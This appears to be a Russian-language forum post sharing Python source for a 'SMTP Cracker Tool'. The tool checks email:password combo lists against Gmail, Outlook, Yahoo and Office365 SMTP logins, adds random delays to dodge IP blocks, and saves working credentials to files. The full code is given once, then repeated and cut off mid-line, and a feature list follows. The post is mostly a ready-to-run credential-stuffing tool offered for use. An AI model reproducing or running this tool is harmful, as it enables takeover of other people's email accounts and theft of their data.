Coder_CC
Member
- Messages
- 24
- Reaction score
- 9
- Points
- 3
Этот код является инструментом для проверки действительности учетных записей электронной почты через SMTP-серверы. Он пытается авторизоваться на почтовых серверах, используя предоставленные пары email
assword, и сохраняет успешные попытки в файлах.
Код:
<span>import</span> os<br><span>import</span> smtplib<br><span>import</span> concurrent.futures<br><span>import</span> sys<br><span>import</span> time<br><span>import</span> random<br><span>from</span> tkinter <span>import</span> Tk<br><span>from</span> tkinter.filedialog <span>import</span> askopenfilename<br><span>from</span> colorama <span>import</span> Fore, Style, init<br><span>import</span> threading<br><span>from</span> datetime <span>import</span> datetime<br><span>import</span> logging<br><br><span># Configuring error logging</span><br>logging.basicConfig(filename=<span>'smtp_checker_errors.log'</span>, level=logging.ERROR,<br> format=<span>'%(asctime)s - %(levelname)s - %(message)s'</span>)<br><br><span># Initializing Colorama</span><br>init(autoreset=<span>True</span>)<br><br>BANNER = <span>"""</span><br><span>============================</span><br><span>SMTP Cracker Tool</span><br><span>============================</span><br><span>"""</span><br><br>SMTP_SERVERS = {<br> <span>"gmail"</span>: {<span>"server"</span>: <span>"smtp.gmail.com"</span>, <span>"port"</span>: <span>587</span>},<br> <span>"outlook"</span>: {<span>"server"</span>: <span>"smtp-mail.outlook.com"</span>, <span>"port"</span>: <span>587</span>},<br> <span>"yahoo"</span>: {<span>"server"</span>: <span>"smtp.mail.yahoo.com"</span>, <span>"port"</span>: <span>587</span>},<br> <span># Delays for each service</span><br> <span>"office365"</span>: {<span>"server"</span>: <span>"smtp.office365.com"</span>, <span>"port"</span>: <span>587</span>, <span>"delay"</span>: <span>5</span>}<br>}<br><br><span># Global variables with protection</span><br>VALIDS = <span>0</span><br>INVALIDS = <span>0</span><br>TOTAL_LINES = <span>0</span><br>PROCESSED_LINES = <span>0</span><br>LOCK = threading.Lock()<br>MAX_THREADS = <span>10</span> <span># Small number of threads</span><br><br><span><span>def</span> <span>check_smtp_connection</span><span>(email: str, password: str, smtp_server: str, port: int)</span> -> bool:</span><br> <span>try</span>:<br> <span># Incidental delay to avoid blocking</span><br> time.sleep(random.uniform(<span>1</span>, <span>3</span>))<br> <br> <span>with</span> smtplib.SMTP(smtp_server, port, timeout=<span>10</span>) <span>as</span> server:<br> server.starttls()<br> server.login(email, password)<br> <span>return</span> <span>True</span><br> <span>except</span> Exception <span>as</span> e:<br> logging.error(<span>f"Error checking <span>{email}</span> on <span>{smtp_server}</span>: <span>{str(e)}</span>"</span>)<br> <span>return</span> <span>False</span><br><br><span><span>def</span> <span>process_email</span><span>(email_pass: str, folder_path: str)</span>:</span><br> <span>global</span> VALIDS, INVALIDS, PROCESSED_LINES<br> <br> <span>try</span>:<br> <span># Format validation</span><br> <span>if</span> email_pass.count(<span>":"</span>) != <span>1</span>:<br> logging.warning(<span>f"Invalid string format: <span>{email_pass}</span>"</span>)<br> <span>return</span><br><br> email, password = email_pass.strip().split(<span>":"</span>)<br> domain = email.split(<span>"@"</span>)[<span>-1</span>].lower()<br><br> <span># Checking only known servers</span><br> <span>for</span> server_name, server_info <span>in</span> SMTP_SERVERS.items():<br> <span>if</span> server_name <span>in</span> domain <span>or</span> domain.endswith(server_name + <span>".com"</span>):<br> <span>if</span> check_smtp_connection(email, password, server_info[<span>"server"</span>], server_info[<span>"port"</span>]):<br> <span>with</span> LOCK:<br> VALIDS += <span>1</span><br> save_valid_account(folder_path, server_name, email, password,<br> server_info[<span>"server"</span>], server_info[<span>"port"</span>])<br> print(Fore.GREEN + <span>f"[VALID] <span>{email}</span>:<span>{password}</span> (<span>{server_name}</span>)"</span>)<br> <span>break</span><br> <span>else</span>:<br> <span>with</span> LOCK:<br> INVALIDS += <span>1</span><br> print(Fore.RED + <span>f"[INVALID] <span>{email}</span>:<span>{password}</span>"</span>)<br><br> <span>except</span> Exception <span>as</span> e:<br> logging.error(<span>f"Critical processing error <span>{email_pass}</span>: <span>{str(e)}</span>"</span>)<br> <span>finally</span>:<br> <span>with</span> LOCK:<br> PROCESSED_LINES += <span>1</span><br><br><span><span>def</span> <span>save_valid_account</span><span>(folder_path: str, service: str, email: str,</span></span><br><span><span> password: str, server: str, port: int)</span>:</span><br> filename = <span>f"valid_<span>{service}</span>_accounts.txt"</span><br> <span>with</span> open(os.path.join(folder_path, filename), <span>"a"</span>) <span>as</span> f:<br> f.write(<span>f"<span>{email}</span>:<span>{password}</span>|<span>{server}</span>:<span>{port}</span>\n"</span>)<br><br><span><span>def</span> <span>main</span><span>()</span>:</span><br> print(Fore.CYAN + BANNER + Style.RESET_ALL)<br> <br> <span># Selecting a data file</span><br> Tk().withdraw()<br> file_path = askopenfilename(title=<span>"Select the file with email
assword"</span>,<br> filetypes=[(<span>"Text files"</span>, <span>"*.txt"</span>)])<br> <span>if</span> <span>not</span> file_path:<br> print(Fore.RED + <span>"The file is not selected. Exit."</span> + Style.RESET_ALL)<br> <span>return</span><br><br> <span># Reading a file with error handling</span><br> <span>try</span>:<br> <span>with</span> open(file_path, <span>"r"</span>, encoding=<span>'utf-8'</span>, errors=<span>'ignore'</span>) <span>as</span> f:<br> email_pass_list = [line.strip() <span>for</span> line <span>in</span> f <span>if</span> line.strip()]<br> TOTAL_LINES = len(email_pass_list)<br> <span>except</span> Exception <span>as</span> e:<br> print(Fore.RED + <span>f"File read error: <span>{e}</span>"</span> + Style.RESET_ALL)<br> <span>return</span><br><br> <span># Creating a folder for results</span><br> timestamp = datetime.now().strftime(<span>"%Y%m%d_%H%M"</span>)<br> result_folder = <span>f"smtp_results_<span>{timestamp}</span>"</span><br> os.makedirs(result_folder, exist_ok=<span>True</span>)<br><br> <span># Limited multithreaded processing</span><br> <span>with</span> concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) <span>as</span> executor:<br> futures = [executor.submit(process_email, email_pass, result_folder)<br> <span>for</span> email_pass <span>in</span> email_pass_list]<br> <br> <span># Progress Bar</span><br> <span>while</span> <span>not</span> all(f.done() <span>for</span> f <span>in</span> futures):<br> time.sleep(<span>0.5</span>)<br> <span>with</span> LOCK:<br> print(<span>f"\rОбработано: <span>{PROCESSED_LINES}</span>/<span>{TOTAL_LINES}</span>"</span>, end=<span>""</span>)<br><br> print(Fore.CYAN + <span>f"\n\nDone! Valid: <span>{VALIDS}</span>, Invalid: <span>{INVALIDS}</span>"</span> + Style.RESET_ALL)<br> print(Fore.YELLOW + <span>"Warning: Use of this tool may violate laws."</span> + Style.RESET_ALL)<br><br><span>if</span> __name__ == <span>"__main__"</span>:<br> main()
Основные функции кода:
Проверка учетных данных:
Многопоточная обработка:
Регистрация и сохранение результатов:
Интерфейс:
Возможные применения:

Код:
<span>import</span> os<br><span>import</span> smtplib<br><span>import</span> concurrent.futures<br><span>import</span> sys<br><span>import</span> time<br><span>import</span> random<br><span>from</span> tkinter <span>import</span> Tk<br><span>from</span> tkinter.filedialog <span>import</span> askopenfilename<br><span>from</span> colorama <span>import</span> Fore, Style, init<br><span>import</span> threading<br><span>from</span> datetime <span>import</span> datetime<br><span>import</span> logging<br><br><span># Configuring error logging</span><br>logging.basicConfig(filename=<span>'smtp_checker_errors.log'</span>, level=logging.ERROR,<br> format=<span>'%(asctime)s - %(levelname)s - %(message)s'</span>)<br><br><span># Initializing Colorama</span><br>init(autoreset=<span>True</span>)<br><br>BANNER = <span>"""</span><br><span>============================</span><br><span>SMTP Cracker Tool</span><br><span>============================</span><br><span>"""</span><br><br>SMTP_SERVERS = {<br> <span>"gmail"</span>: {<span>"server"</span>: <span>"smtp.gmail.com"</span>, <span>"port"</span>: <span>587</span>},<br> <span>"outlook"</span>: {<span>"server"</span>: <span>"smtp-mail.outlook.com"</span>, <span>"port"</span>: <span>587</span>},<br> <span>"yahoo"</span>: {<span>"server"</span>: <span>"smtp.mail.yahoo.com"</span>, <span>"port"</span>: <span>587</span>},<br> <span># Delays for each service</span><br> <span>"office365"</span>: {<span>"server"</span>: <span>"smtp.office365.com"</span>, <span>"port"</span>: <span>587</span>, <span>"delay"</span>: <span>5</span>}<br>}<br><br><span># Global variables with protection</span><br>VALIDS = <span>0</span><br>INVALIDS = <span>0</span><br>TOTAL_LINES = <span>0</span><br>PROCESSED_LINES = <span>0</span><br>LOCK = threading.Lock()<br>MAX_THREADS = <span>10</span> <span># Small number of threads</span><br><br><span><span>def</span> <span>check_smtp_connection</span><span>(email: str, password: str, smtp_server: str, port: int)</span> -> bool:</span><br> <span>try</span>:<br> <span># Incidental delay to avoid blocking</span><br> time.sleep(random.uniform(<span>1</span>, <span>3</span>))<br> <br> <span>with</span> smtplib.SMTP(smtp_server, port, timeout=<span>10</span>) <span>as</span> server:<br> server.starttls()<br> server.login(email, password)<br> <span>return</span> <span>True</span><br> <span>except</span> Exception <span>as</span> e:<br> logging.error(<span>f"Error checking <span>{email}</span> on <span>{smtp_server}</span>: <span>{str(e)}</span>"</span>)<br> <span>return</span> <span>False</span><br><br><span><span>def</span> <span>process_email</span><span>(email_pass: str, folder_path: str)</span>:</span><br> <span>global</span> VALIDS, INVALIDS, PROCESSED_LINES<br> <br> <span>try</span>:<br> <span># Format validation</span><br> <span>if</span> email_pass.count(<span>":"</span>) != <span>1</span>:<br> logging.warning(<span>f"Invalid string format: <span>{email_pass}</span>"</span>)<br> <span>return</span><br><br> email, password = email_pass.strip().split(<span>":"</span>)<br> domain = email.split(<span>"@"</span>)[<span>-1</span>].lower()<br><br> <span># Checking only known servers</span><br> <span>for</span> server_name, server_info <span>in</span> SMTP_SERVERS.items():<br> <span>if</span> server_name <span>in</span> domain <span>or</span> domain.endswith(server_name + <span>".com"</span>):<br> <span>if</span> check_smtp_connection(email, password, server_info[<span>"server"</span>], server_info[<span>"port"</span>]):<br> <span>with</span> LOCK:<br> VALIDS += <span>1</span><br> save_valid_account(folder_path, server_name, email, password,<br> server_info[<span>"server"</span>], server_info[<span>"port"</span>])<br> print(Fore.GREEN + <span>f"[VALID] <span>{email}</span>:<span>{password}</span> (<span>{server_name}</span>)"</span>)<br> <span>break</span><br> <span>else</span>:<br> <span>with</span> LOCK:<br> INVALIDS += <span>1</span><br> print(Fore.RED + <span>f"[INVALID] <span>{email}</span>:<span>{password}</span>"</span>)<br><br> <span>except</span> Exception <span>as</span> e:<br> logging.error(<span>f"Critical processing error <span>{email_pass}</span>: <span>{str(e)}</span>"</span>)<br> <span>finally</span>:<br> <span>with</span> LOCK:<br> PROCESSED_LINES += <span>1</span><br><br><span><span>def</span> <span>save_valid_account</span><span>(folder_path: str, service: str, email: str,</span></span><br><span><span> password: str, server: str, port: int)</span>:</span><br> filename = <span>f"valid_<span>{service}</span>_accounts.txt"</span><br> <span>with</span> open(os.path.join(folder_path, filename), <span>"a"</span>) <span>as</span> f:<br> f.write(<span>f"<span>{email}</span>:<span>{password}</span>|<span>{server}</span>:<span>{port}</span>\n"</span>)<br><br><span><span>def</span> <span>main</span><span>()</span>:</span><br> print(Fore.CYAN + BANNER + Style.RESET_ALL)<br> <br> <span># Selecting a data file</span><br> Tk().withdraw()<br> file_path = askopenfilename(title=<span>"Select the file with email

Основные функции кода:
Проверка учетных данных:
- Читает файл с комбинациями адрес электронной почты:пароль.
- Пытается подключиться к SMTP-серверам (Gmail, Outlook, Yahoo, Office365) и пройти аутентификацию.
- Определяет, действительны ли учетные данные.
Многопоточная обработка:
- Использует ThreadPoolExecutor для параллельной проверки учетных данных (ограничено 10 потоками).
- Добавляет случайные задержки между запросами, чтобы избежать блокировки IP.
Регистрация и сохранение результатов:
- Сохраняет действительные учетные данные в файлах типа valid_<service>_accounts.txt.
- Регистрирует ошибки в файле smtp_checker_errors.log.
- Выводит статистику: количество действительных и недействительных записей.
Интерфейс:
- Использует графическое окно (через tkinter) для выбора файла данных.
- Выводит цветные сообщения на консоль (через colorama).
Возможные применения:
- Проверка утечек данных (например, списков адресов электронной почты и паролей из общедоступных баз данных).
- Проверка безопасности собственных аккаунтов.
- Автоматизируйте проверку учетных записей электронной почты.